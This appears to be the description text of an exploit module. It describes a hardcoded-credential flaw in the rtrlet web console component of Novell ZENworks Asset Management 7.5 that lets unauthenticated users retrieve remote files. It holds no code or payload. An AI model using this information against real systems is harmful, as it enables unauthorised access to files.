|
|
This module exploits a hardcoded user and password for the GetFile maintenance
|
|
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
|
|
Console and can be triggered by sending a specially crafted request to the rtrlet component,
|
|
allowing a remote unauthenticated user to retrieve a maximum of 100_000_000 KB of
|
|
remote files. This module has been successfully tested on Novell ZENworks Asset
|
|
Management 7.5.
